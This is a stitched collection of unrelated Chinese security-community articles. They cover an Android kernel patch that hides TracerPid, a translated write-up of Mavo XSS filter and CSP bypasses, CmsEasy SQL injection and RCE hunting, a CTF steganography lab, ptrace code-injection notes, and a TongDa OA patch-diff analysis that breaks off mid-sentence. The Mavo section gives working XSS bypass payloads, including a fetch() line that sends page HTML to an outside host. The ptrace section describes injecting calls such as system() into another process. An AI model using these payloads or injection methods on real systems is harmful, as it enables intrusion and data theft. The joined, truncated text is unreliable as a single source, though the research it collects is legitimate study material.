### 修改`msm/fs/proc/array.c`文件
用vim对`msm/fs/proc/array.c`进行编辑, 先修改第一处
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
139 "T (stopped)", /* 4 */
140 "t (tracing stop)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };
修改之后的结果如下
134 static const char * const task_state_array[] 135 = {
136 "R (running)", /* 0 */
137 "S (sleeping)", /* 1 */
138 "D (disk sleep)", /* 2 */
//修改的部分
139 "S (sleeping)", /* 4 */
140 "S (sleeping)", /* 8 */
141 "Z (zombie)", /* 16 */
142 "X (dead)", /* 32 */
143 "x (dead)", /* 64 */
144 "K (wakekill)", /* 128 */
145 "W (waking)", /* 256 */
146 };
修改`array.c`的第二处
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
191 ppid, tpid,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);
修改的结果为
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);
## 源码的编译运行
在编译运行之前, 我们需要先用`echo $PATH`确认交叉编译器在PATH中。
按照下面来进行配置
$ export ARCH=arm #指明目标体系架构，arm、x86、arm64
$ export SUBARCH=arm
$ cd msm #进入内核所在目录
$ make hammerhead_defconfig # 设备名_defconfig
#指定使用的交叉编译器的前缀
$ make ARCH=arm CROSS_COMPILE=arm-eabi- -j4 ##如果没有gcc的环境, 就增加了CC=clang
可以从[编译内核](https://source.android.com/source/building-kernels.html)这篇文章中找到相应的设备名。
在编译的过程中, 遇到了下面的报错。
这时候需要修改`kernel/timeconst.pl`文件, 用`vim kernel/timeconst.pl`编辑该文件, 定位到下述代码。
372 @val = @{$canned_values{$hz}};
373 if (!defined(@val)) {
374 @val = compute_values($hz);
375 }
376 output($hz, @val);
将`if (!defined(@val))`改为`if (!@val)`, 再编译一次就可以了。
接下来, 就按照上图提示进入目录`arch/arm/boot`。
### 重打包boot.img
为了防止发生不可挽回的刷砖错误, 在刷机之前,
一定要按照[尝试绕过TracePid反调试](https://www.52pojie.cn/thread-917096-1-1.html)将boot.img进行备份。
#### 准备好bootimg-tools工具
因为我之前Windows环境是准备好了的, 就直接在本地解决下面的任务。
在Ubuntu环境中, 输入下面命令就准备完成了
$ git clone https://github.com/pbatard/bootimg-tools.git
$ make
$ cd mkbootimg
Windows环境下进入`[MinGW安装的目录]]\MinGW\msys\1.0`目录下, 双击`msys.bat`。
把[提取出来的boot.img](https://www.52pojie.cn/thread-917096-1-1.html)放到mkbootimg文件夹下,
之后的步骤不管是哪个环境下都是相同的。
#### 用unmkbootimg解包
在MinGW输入命令`./unmkbootimg -i boot.img`, 如果是Ubuntu, 直接去掉前面的`./`执行命令。
我们获得了rebuild需要输入的指令, 之后要rebuild的时候要修改一下才能用。
To rebuild this boot image, you can use the command:
mkbootimg --base 0 --pagesize 2048 --kernel_offset 0x00008000 --ramdisk_offset 0x02900000 --second_offset 0x00f00000 --tags_offset 0x02700000 --cmdline 'console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 maxcpus=2 msm_watchdog_v2.enable=1' --kernel kernel --ramdisk ramdisk.cpio.gz -o boot.img
#### 替换kernel重新打包
#### 刷入bootnew.img
在手机开机的情况下, 进入bootnew.img存放的目录输入下述命令。
$ adb reboot bootloader
$ astboot flash boot bootnew.img
$ fastboot reboot
### 测试
现在到了见证奇迹的时刻了
## 参考文章或其他链接
[Ubuntu 安装 JDK 7 / JDK8 的两种方式](http://www.cnblogs.com/a2211009/p/4265225.html)
[在Ubuntu中通过update-alternatives切换java版本](https://blog.csdn.net/zhandoushi1982/article/details/50807282)
[编译Android
9.0内核源码并刷入手机](https://blog.csdn.net/XXOOYC/article/details/85679143)
[Android系统内核编译及刷机实战
（修改反调试标志位）](https://blog.csdn.net/u012417380/article/details/73353670)
[搭建编译环境](https://source.android.com/setup/build/initializing)
[How to Build a Custom Android Kernel](https://appuals.com/how-to-build-a-custom-android-kernel/)
[Android源码定制添加反反调试机制](https://blog.csdn.net/fly_hps/article/details/86172698)
[Java6+Java7链接](https://pan.baidu.com/s/1K5LU-h8npuczj4JgjKkaWw) 提取码：ma3i | 社区文章 |
原文：[《Abusing JavaScript frameworks to bypass XSS
mitigations》](http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html "《Abusing JavaScript frameworks to bypass XSS
mitigations》")
译者：[Twosecurity](https://zhuanlan.zhihu.com/p/29358971 "Twosecurity")
在 AppSec Europe Sebastian Lekies 中，Krzysztof Kotowicz 和 Eduardo Vela Nava
展示了如何使用 javascript 框架来绕过 XSS 保护。在这篇文章中，我也会讲解如何利用 Mavo 来突破防御(特别是 NoScript
过滤器)。Marvo 允许开发者用纯 HTML 创建可交互的 Web App。它在 Smashing magzine
公布并很快引起了我的兴趣，因此我开始分析其符号标记及功能。
#### $url的 DOM XSS
通过 Mavo 的 $url，开发者可以方便地得到 GET 参数。比方说你想得到参数 x，那么你可以这么写：`$url.x //retrieves the
GET parameter x`
很遗憾，这种方便也会带来 DOM 类型的 XSS。我在17年五月份汇报过类似问题给 CSS 工作组。他们用 Mavo 管理评论并设置 $url 参素为
href，代码大致如下：
<h1><a href="{$url.spec}"mv-attribute="null"property="title"></a></h1>
如你所见，他们通过 $url 获取参数。然而，这个链接只有在获取了有效数据的情况下才会被展示。我可以注入一个 javascript
伪协议，让其获得有效数据并回显：`javascript:alert(1)%252f%252f..%252fcss-images`
上面的攻击向量提供了一个相对路径。这样，Mavo 会先进入不存在的 javascript:alert(1) 文件夹，再通过`..`穿越到父目录读取有效的
css-images。除此之外，我还添加了两个换行符注释掉后面的非法语句，当目标点开这个链接时，就能保证用户正常执行代码。Mavo
至今依然有类似问题，有兴趣的可以点击[Poc]复现。
#### 远程加载 JSON 数据
Mavo 支持用户通过 source 将 Mavo App 的数据源改为 local storage
或者其它位置。这一特性无疑大大地方便了攻击者篡改网页内容或者注入恶意 javascript URL。讽刺的是，Mavo 主页的 Demo
恰好有此类漏洞。我们可以用参数指向外部 JSON 文件(在跨域访问之前，记得开启“Access-Control-Allow-Origin:*
”头)并任意修改该 app 的数据。漏洞代码如下：
<a property="companyURL"
mv-attribute="null" href="[companyURL]"
target="_blank">http://lea.verou.me</a>
此处的 href 使用了一个 Mavo 的表达式。"companyURL"是从 JSON 中加载的。如果我们包含了如下 JSON 文件：
{
"companyLogo":
"http://lea.verou.me/logo.svg",
"companyName":
"Pwnd Pwnd",
"companyAddress":
"Pwnd",
"companyURL":
"javascript:alert(1)",
"companyEmail":
"pwnd",
...
那么恶意的 javascript 协议会被引入，点击[[这里]](http://portswigger-labs.net/mavo_invoice/?source=http://subdomain1.portswigger-labs.net/mavo_invoice/invoices.php "\[这里\]")复现。
#### 绕过 NoScript 检测
Mavo 默认允许我们在 HTML 文件中添加 MavoScript（这个 DSL 加入了对 js 的一些改善和扩展）。说我们可以用 and，or，mod
代替符号运算。其中，=符号被用来判断（js 中是赋值）。再者，调用数学相关的方法时，我们不必使用 Math 对象（比方说直接
max(1,2,3)）。[[这里]](https://mavo.io/docs/mavoscript/ "\[这里\]")有更多信息。
如果 Mavo 解析到了无效的 MavoScript，那么其会被回滚，并用 javascript parser 解析该段代码。
比方说，我们想在 HTML 中计算1+1，那么我们可以通过[]插入表达式（类似 Angualr 的{{}}）：`[ 1+1 ]`
虽然 Mavo 并没有沙箱机制，但是我们的代码会被重写并在 with 中执行。因此，我们在调用的时候需要用到 self 或者 window
对象：`[self.alert(1)]`
Mavo 也支持 property 属性。它会将 DOM 元素和 javascript 变量关联起来，比方说：
<p>Slider value: [strength]/100</p>
<input type="range" property="strength"
title="[strength]%" />
我们还注意到其它几个有意思的表达式：mv-value 和 mv-if 能脱离[]执行脚本。如果表达式为false，mv-if 会改变 DOM
值。值得注意的是这一表达式在任意标签上都可以使用：
`<div mv-if=”false”>Hide me</div>`
在表达式中，MavoScript
有更有意思的行为。你可以使用没被双引号括起来的字符串（前提是它们需要包含字符，数字，或者下划线）。如果对象属性不存在的话，它们会被转换为空字符。
了解了这么多之后，我开始研究如何绕过 NoScript 过滤器，DOM 过滤器，和 CSP。其中，绕过 DOM 过滤器最为简单。因为你可以使用
`data-*` 属性来绕过 HTML 验证。在 Mavo 中，如果你要启用 CSP，就不得不开启 unsafe-eval。这意味着我们多了用 eval
直接执行字符串的危险。
我和 NoScript 的作者来了一场对抗赛，我的目标很简单：绕过 NoScript 并外带数据。我的第一个绕过是通过一个简单的 fetch 达成的：`[1
and self.fetch('//http://subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]`
因为 NoScript 过滤器看不懂 and，方括号和&，我可以通过&拼接字符串并发送 HTML。
后来 NoScript 开始检测这些关键字，不过我再一次 bypass 了它：`[''=''or
self.alert(lol)]`。此处的=是用来判断，由于 javascript 并没有定义紧随其后的 or，所以 NoScript 不会认为后面的代码为
javascript。
正如我前面说的那样，mv- 属性允许表达式自定义分隔符（默认是：[]）执行 MavoScript。当NoScript
开始检查[]时，我们可以用该属性进一步绕过：`<div data-mv-expressions="lolx
lolx">lolxself.alert('lol')lolx</div>`
接下来，我开始研究如何用 html 中的 Mavo 表达式绕过防御。通过在HTML中插入 javascript url，我们可以轻易绕过 CSP：`“<a
href=[javascript&':alert(1)']>test</a>”`。虽然没有引号，这里的 `javascript`
是一个字符串，payload 再用&将 `javascript` 和 `':alert(1)'` 拼合在一起。
后来 NoScript 作者又将上述 bypass 封杀，不过我发现了用多重表达式配合 tag 属性的绕过技巧：`<a
href='[javascript][":"][x.title][1][x.rel]' rel=) id=x
title=alert(>test</a>`，或者：`<a href=javascript[x.rel]1)id=x
rel=:alert(>test</a>`
除此之外，我还可以用`/**/`强制 Mavo 解析器变为 javascript 模式，再用 js
的方式拼接字符串：`[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y
title=1) rel=(>test</a>`
如果函数调用末尾紧跟着数字，NoScript 就不会检查这个语句。而在 Mavo 中，mod
是一个运算符，因此我们可以用它在在函数后面接数字。由于我们并不需要空格（1%1不需要空格，所以1mod1也不用，毕竟它是一个运算符），NoScript
也不会检查该语句了：`[self.alert(1)mod1]`
#### 总结
由于引入了大量特殊符号，Mavo 会大大地削弱 CSP，NoScript 等保护机制。除了传统的 DOM XSS 外，Mavo
还引入了数据源劫持等新型漏洞。
* * * | 社区文章 |
# CmsEasy 漏洞挖掘
## 写在前面
在index.php ，定义了一些常量，设置 文件包含的目录，和注册了自定义加载类。
lib目录中前两个文件夹分别存放的是后台和前台的控制器。
inc文件夹提供一些必要的支撑，数据库的操作，以及控制器的基类，模板渲染类。
所有的控制器都继承于 act 类。同时他还给所有数据库的表，设计了相对应的操作，位于table文件夹下，此文件夹下的类也都继承于 table类。
tool文件夹存放一些小工具，自定义函数，waf之类的，应用调度，也是在此文件夹处理。
继续跟进入口文件。
实例化了 `front`对象，并调用 `dispatch` 方法。
他的构造方法就是获取对应的参数，
同时对所有的请求进行转义和html实体的处理。
这里获取对应的控制器和操作。
这两个静态变量，在 dispatch 方法 中，用于实例化控制器，并调用方法。
## 前台sql注入
在 `crossall_act.php` 中存在 `execsql_action` 方法
他接受一个get请求的 sql参数，然后进行一个解码的操作
但此文件还同样提供了加密的函数，都不需要逆向他的算法，直接利用其加密sql语句。
我们可以利用此函数加密 sql语句，最后执行我们的sql语句
执行一个sql查询。
## 后台RCE
### 一
在`language_admin.php` 中，有`add_action`方法，这个方法用于给语言文件添加规则，
当id是1时，语言包是中文语言包，由于hackbar 没办法提交submit参数 ，我这里直接改成了 submi。
`system_custom.php`文件中有空数组，用他来进行尝试。
插入新定义的键值对，且文件名和插入内容都是可以控制的，由于对表单数据存在waf，被转义的和转成html实体，无法对原文件造成危险。
$content=str_replace(');',"\n".$replace.');',$content);
注意这句话，他插入键值对的逻辑就是讲文件中的 `);`替换为 换行符 加上
，再补上`);` 。
他的想法是没错的，但我觉得不应该，万一字符里有了 `);` 呢。
把); 去掉，再插一条。
报错是好事情，说明里面可以做文章。由于 此php文件 是直接 return 一个数组的，没办法直接在数组外面写东西的，这些是语法问题。
php的数组比较随意的。
观察上面的错误，因为先前 拼接的 ); 导致中间逃出了一个单引号，剩下的就好办了，配合 `,` 和 `/*` 解决后面的问题。
成功拼接。
### 二
在update_admin.php 中存在 downfile_action 操作，存在可控url参数，
导致我们可以从任意服务器下载压缩文件，
并解压，压缩文件中可以写入 `upgrade/upgrade.sql` ，sql注入，对数据库信息造成破坏。
还可以写入木马文件。
成功写入。 | 社区文章 |
# 实验简介
隐写术是关于信息隐藏，即不让计划的接收者之外的任何人知道信息的传递事件（而不只是信息的内容）的一门技巧与科学。英文写作Steganography，而本套教程内容将带大家了解一下CTF赛场上常见的图片隐写方式，以及解决方法。有必要强调的是，隐写术与密码编码是完全不同的概念。
# 实验内容
本次图片隐写实验包括四大部分
* 一、附加式的图片隐写
* 二、基于文件结构的图片隐写
* 三、基于LSB原理的图片隐写
* 四、基于DCT域的JPG图片隐写
* 五、数字水印的隐写
* 六、图片容差的隐写
**下面进行实验Part 1 附加式图片隐写**
# 第一部分 附加式的图片隐写
在附加式的图片隐写术中，我们通常是用某种程序或者某种方法在载体文件中直接附加上需要被隐写的目标，然后将载体文件直接传输给接受者或者发布到网站上，然后接受者者根据方法提取出被隐写的消息，这一个过程就是我们这里想提到的附加式图片隐写。
而在CTF赛事中，关于这种图片隐写的大概有两种经典方式，一是直接附加字符串，二是图种的形式出现。
# 实验环境
* 操作机：Windows XP
* 实验工具：
* Strings
* binwalk
* Winhex
## 附加字符串
> * 实验：
>
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第一部分文件夹
- 在该文件夹找到 xscq.jpg，
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 正如前文所说，我们这个实验部分讲的是附加字符串的隐写方式，所以我们用Strings检查一下图片
- 在Strings工具的搜索下，我们看到了一串base64编码后的字符串
- 最终解码后，flag：flag{welcome_to_xianzhi}
**strings使用方法**
strings命令在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列，以换行符或空字符结束。
strings命令对识别随机对象文件很有用。
选项：
* -a --all：扫描整个文件而不是只扫描目标文件初始化和装载段
* -f –print-file-name：在显示字符串前先显示文件名
* -t --radix={o,d,x} ：输出字符的位置，基于八进制，十进制或者十六进制
* -e --encoding={s,S,b,l,B,L} ：选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
Tips 我们使用strings + 文件名字的命令即可
**具体步骤如下：**
在cmd中打开strings工具，使用如下命令
strings ctf.jpg

得到如下字符串：ZmxhZ3t3ZWxjb21lX3RvX3hpYW56aGl9
我们尝试用base64解码，代码过程如下：
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:24:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode('ZmxhZ3t3ZWxjb21lX3RvX3hpYW56aGl9')
'flag{welcome_to_xianzhi}'
>>>
有必要提到的是，为什么字符串要附加在文件的后面呢?那是因为，如果图片附加在中间，有可能破坏了图片的信息，如果字符串附加在图片的头部位置，又破坏了文件头，可能导致图片无法识别。关于文件格式的具体内容，我们下一个部分的隐写还会提到。
## 思考
1. 我们是否可以使用16进制的编辑器找到这一串字符串？请用工具中的winhex尝试这种解法。
2. 隐写和密码学的区别是？
## 图种形式的隐写
图种：
一种采用特殊方式将图片文件（如jpg格式）与rar文件结合起来的文件。该文件一般保存为jpg格式，可以正常显示图片，当有人获取该图片后，可以修改文件的后缀名，将图片改为rar压缩文件，并得到其中的数据。
图种这是一种以图片文件为载体，通常为jpg格式的图片，然后将zip等压缩包文件附加在图片文件后面。因为操作系统识别的过程中是，从文件头标志，到文件的结束标志位，当系统识别到图片的结束标志位后，默认是不再继续识别的，所以我们在通常情况下只能看到它是只是一张图片。
实验
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第一部分文件夹
- 在该文件夹找到cqzb.jpg，
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 对图片进行检测，确认是不是图种
- 使用winhex打开图片，并分离图片，得到一个压缩包
- 打开压缩包得到flag，flag：flag{This is easy}
简单的检测方式：
打开工具中的binwalk。使用如下命令：
binwalk cqzb.jpg

我们可以发现，binwalk自动识别出来了zip文件，而且偏移也告诉我们了,当然我们这里如果使用
binwalk cqzb.jpg -e
这样的命令，是很快就能把ZIP文件给提取出来的，但是这里我想讲的是如何用winhex等16进制编辑器，将压缩包提取出来。
**使用winhex16进制编辑器提取ZIP文件**
* 首先需要了解一下什么是文件头
文件头就是是位于文件开头的一段承担一定任务的数据。一般都在开头的部分。以jpg图片和zip压缩包文件为例。图6和图7分别是jpg图片的文件头以及jpg图片的结尾。
我们如何，找到JPG图片和ZIP图片呢？
**JPG图片的文件头和结束标志**

上图，FF D8 FF E1就是JPG图片的文件头，一般当我们看到文件开头是如此的格式，我们就能认为这是一个JPG图片了。

上图以 03 FF D9为结束标志，这是JPG图片的结束标志位。
**ZIP文件的文件头和结束标志**

上图 50 4B 03 04就是ZIP文件的文件头，一般以PK表示。
* 找到cqzb.jpg 中隐藏的ZIP文件
上文我们讲述了，JPG图片的结束标识是03 FF D9,ZIP文件的文件头是50 4B 03
04，我们只需要在winhex中找到ZIP文件的文件头即可，滑动滚条到最底下。上文讲了一般附加的位置是在原本文件的后面，所以我们果断滑动滚动条到最后。

从图中我们可以明显看到cqzb.jpg明显不是以FF D9结尾，而且我们在上面不远的地方发现了zip的文件头50 4B 03
04，所以我们可以断定这是个图种文件了
* 分离ZIP文件
下一步我们该如何用winhex截取我们所需要的文件呢？
我们选取以50开头以及到末尾的的数据，右键单击，选择编辑，复制选块到新文件，保存新文件为zip格式命名规则即可。

保存为ZIP文件，解压缩后就能得到flag，所以最后的flag是flag{This is easy}
## 思考
1. 自己动手使用binwalk分离图片
2. 除了上述讲的方法我们是否可以使用其他手段分离文件？如dd这样的工具？ | 社区文章 |
# 说一说ptrace不可忽略的技术细节
ptrace的API使用起来简单明了，好像上手很容易，但实际开发使用中存在很多细节，容易产生各种各样的错误。本文内容来源于本人使用ptrace开发时遇到问题及解决之后的经验总结。
## 细节一：多线程处理
ptrace操作的最小单位是线程，这是很多人都忽略的一个点。可以肯定的讲，成熟商用的软件几乎没有一个不是多线程运行的。在LINUX中，线程其实就是进程，进程号就是当前进程的主线程号。
比如使用top -Hp 92964命令查看tomcat进程，得到如下结果
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
92964 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 java
92965 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.57 java
92966 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.04 GC Thread#0
92967 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 CMS Thread#0
92968 root 20 0 6070636 198540 37784 S 0.0 2.4 0:02.61 CMS Main Thread
92969 root 20 0 6070636 198540 37784 S 0.0 2.4 0:07.37 VM Thread
92970 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 Reference Handl
92971 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 Finalizer
92972 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 Signal Dispatch
92973 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 Service Thread
92974 root 20 0 6070636 198540 37784 S 0.0 2.4 0:02.60 C2 CompilerThre
92975 root 20 0 6070636 198540 37784 S 0.0 2.4 0:01.30 C1 CompilerThre
92976 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 Sweeper thread
92977 root 20 0 6070636 198540 37784 S 0.0 2.4 0:58.99 VM Periodic Tas
92978 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.08 Common-Cleaner
92979 root 20 0 6070636 198540 37784 S 0.0 2.4 0:03.75 AsyncFileHandle
92982 root 20 0 6070636 198540 37784 S 0.0 2.4 0:03.54 NioBlockingSele
92985 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.04 GC Thread#1
92986 root 20 0 6070636 198540 37784 S 0.0 2.4 0:02.50 ContainerBackgr
92987 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.04 http-nio-8080-e
92988 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92989 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92990 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.01 http-nio-8080-e
92991 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92992 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92993 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92994 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92995 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92996 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.00 http-nio-8080-e
92997 root 20 0 6070636 198540 37784 S 0.0 2.4 0:03.50 http-nio-8080-C
92998 root 20 0 6070636 198540 37784 S 0.0 2.4 0:03.31 http-nio-8080-C
92999 root 20 0 6070636 198540 37784 S 0.0 2.4 0:00.01 http-nio-8080-A
93000 root 20 0 6070636 198540 37784 S 0.0 2.4 0:04.03 http-nio-8080-A
清楚的列出各个线程的ID、CPU占用、内存占用、运行状态（有R、S、D、T、Z、X几种，这里是S）。
所以在做多线程进程进行ptrace操作时，在attach时就要把每一个线程都要attach一遍。这样才能确保整个进程都处于完全停止状态，如果只对进程id（即主线程）进行attach，那其余的线程还是会继续运行。
如何获取进程有哪些线程？还以进程92964为例：
#ls /proc/92964/task/
92964 92967 92970 92973 92976 92979 92986 92989 92992 92995 92998
92965 92968 92971 92974 92977 92982 92987 92990 92993 92996 92999
92966 92969 92972 92975 92978 92985 92988 92991 92994 92997 93000
#ls /proc/92964/task/92967/
attr cmdline exe limits mounts oom_score projid_map setgroups statm
auxv comm fd loginuid net oom_score_adj root smaps status
cgroup cpuset fdinfo maps ns pagemap sched smaps_rollup syscall
children cwd gid_map mem numa_maps patch_state schedstat stack uid_map
clear_refs environ io mountinfo oom_adj personality sessionid stat wchan
## 细节二：ptrace_attach
ptrace的调用者（tracer）与被调试线程（tracee）是通过信号进行交互的。tracee在被attach之后，会进入STOP状态同时会给tracer发送SIGSTOP信号。很多开发者都会去在attach之后，只是写一个循环调用waitpid等待SIGSTOP，代码如下：
int attach(int tid)
{
if(ptrace(PTRACE_ATTACH, tid, 0, 0) == -1)
{
printf("attach pid %d fail\n", tid);
return -1;
}
int status = 0;
waitpid(tid, &status, __WALL);
int sig = WSTOPSIG(status);
while(!WIFSTOPPED(status) || sig != SIGSTOP)
{
waitpid(tid, &status, __WALL);
}
return 0;
}
这是一个错误的做法，tracee在发送SIGSTOP之前还可能发送其他信号，上面的代码直接把这个信号丢弃了。正确做法是，如果不是SIGSTOP，应该把信号发送回去。
int Debugger::attach(int tid)
{
if(ptrace(PTRACE_ATTACH, tid, 0, 0) == -1)
{
printf("attach pid %d fail\n", tid);
return -1;
}
int status = 0;
waitpid(tid, &status, __WALL);
int sig = WSTOPSIG(status);
while(!WIFSTOPPED(status) || sig != SIGSTOP)
{
//如果在SIGSTOP之前收到其他信号，那么在接收之后要发送回去
tkill(tid, sig);
waitpid(tid, &status, __WALL);
}
return 0;
}
## 细节三：读写tracee的/proc/pid/mem
我们都知道在对线程自己的寄存器、栈读写或代码段读写时，线程要处于STOP状态。什么事件会使用线程处于STOP状态？如ptrace-attach，ptrace-singlestep，tracee在触发SIGSEGV、SIGTRAP、SIGILL等场景，这里不一一列举。
/proc/pid/mem映射的是整个进程的内存，可以通过操作它来实现读写修改代码段、栈空间、数据段等等功能，它要求主线程处理STOP状态。
从LINUX内核3.2开始提供process_vm_readv和process_vm_writev系统调用，用来实现这一功能，是一种新的IPC机制。
## 细节四：断点
使用ptrace实现断点的原理就是将某一代码段地址的指令修改为TRAP指令，比如x86的int3。各线程的寄存器、栈帧是独有的，但代码是共享的。
也就是说，通过线程A去下的断点，线程B、线程C都可能会执行到，如果线程B或线程C没有被ptrace
attach，执行到此TRAP指令时产生的SIGTRAP就不会被捕捉到，导致进程异常退出。
因此，对于多线程进程的断点实现，要及时跟踪进程中是否有新线程产生并ptrace-attach。
## 细节五：代码注入
使用ptrace可以修改tracee进程的任意寄存器，如PC、SP，也几乎可以修改任意内存地址，包括映射为只读的代码段，注入代码并执行完全不是难事。
通常注入代码有shellcode和so两种形式，在操作上大同小异，一般都会借用libc中如 **mmap、**
libc_dlopen_mode等函数完成。那么如何使用ptrace进行函数调用？一般流程如下：
1.保存tracee当前PC上下文（即所有寄存器）
2.构造参数，修改tracee的PC指针为自定义代码
3.在自定义代码末尾放置TRAP指令
4.ptrace-cont
5.tracer捕获SIGTRAP
6.恢复tracee之前PC上下文
7.ptrace-dettach，结束
那么步骤2、步骤3的实现方式可以有很多种，有用__mmap/malloc申请可执行内存的，有修改代码段放置TRAP指令、执行完再恢复的，其中有一个方法我觉得最简洁，不需要调用函数去申请内存、也不需要修改已有代码段。
分配空间使用栈，而放置TRAP指令替换为把函数返回地址替换为0
比如想要调用system("echo 123")，以x86_64为例，有如下步骤
1.修改sp寄存器，抬高8字节，用来存放字串echo 123\0
2.修改pc寄存器为system地址
3.修改rdi为第1步的栈顶地址
4.将0压栈
5.ptrace-cont
这样在执行完system之后，RET指令使RIP变为0会触发SIGSEGV，此时tracer捕获后恢复PC上下文即可。
## 细节六：glibc的栈对齐
x86_64在调用libc的函数时，一定要保证SP指针是16字节对齐的，否则在运行到movaps
[rbp-0x470],xmm0这种指令时会SIGSEGV。这个问题也经常出现在汇编混合调用C的场景中。 | 社区文章 |
# 从通达OA漏洞学习1day挖掘思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
通达OA系统比较适合像我这种有点基础的菜鸡来学习1day漏洞挖掘思路，原因它自身源码会加密，也会发布漏洞补丁，漏洞利用性价值也很大，是主流的一个软件之一，所以无论是从任何角度来说，其漏洞成因和利用都是值得分析和研究的。
## 0x1 漏洞背景
搜索关于通达OA的漏洞公告可以确定,有3个影响比较严重的漏洞。
日期: 2020.03.13
任意文件上传 影响版本: <=v11
任意文件包含,影响版本: =v11
[官方补丁](http://www.tongda2000.com/news/673.php)
日期: 2020.04.17
权限提升漏洞 危害级别: 严重 影响版本: < 11.5.200417
[官方补丁](https://www.tongda2000.com/download/sp2019.php)
通达OA版本的说明:
> * 通达OA产品每次发布修正合集时都会更新内部版本号，内部版本号共分为3部分：产品版本号、修正合集发布序号、更新日期。以11.1.191015为例：
> 11表示此产品为11.0版
> 1表示此版本包含11.0版发布后的第1次修正合集（序号为1）
> 191015表示更新日期为2019年10月15日
> * 每次发布修正合集时会将版本号中第二部分（修正合集发布序号）加1，并更改更新日期，期间发布的增量升级包仅更改内部版本号中的更新日期部分。
>
## 0x2 环境准备
解密代码: [SeayDzend.zip ](https://www.webshell.cc/?dl_id=19)
补丁分析工具: DiffMerge(dmg版本)
TDOA11.0 源码:[TDOA 11.3](https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe)
然后傻瓜化安装即可。
## 0x3 补丁差异分析
**这里简单介绍下，如何开展补丁差异分析的工作。**
1. 傻瓜化安装完之后，会存在一个`webroot`的加密源码目录,我们拷贝一份,另存为nopatchOA文件夹，然后运行对应的v11版本的补丁后，再拷贝一下patch之后的`webroot`文件夹另存在patchOA文件夹用来对比分析。
1. 由于源码加密,这里我们需要用SeayDzend来进行解密出原生的PHP文件代码。由于这个软件其实是写了个循环调用，文件比较多，速度还是比较慢的，这里我们可以同时进行两个文件夹的解密。
1. diffMerge 进行代码差异化对比分析可以发现更改了不少的文件,这里我们可以简单做一下排除法。
直接双击第一行，会弹出修改之后的差异
后面的话，我们一个一个文件去跟就行了，比如根据关键词”文件上传”,我们只找file文件相关的修改。
## 0x4 文件上传&&文件包含导致的RCE
### 0x4.1 文件包含分析
这里最容易找到的是文件包含的点(其他的点都没有直接的include、require等)
`ispirit/interface/gateway.php`
通过对比分析:
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}
if ((strpos($url, "general/") === 0) || (strpos($url, "ispirit/") === 0) || (strpos($url, "module/") === 0)) {
include_once $url;
}
}
发现通过strpos的方式去禁止了`..`的方式去跨目录。
然后接着限制了url中必须以这几个关键词:`general/`
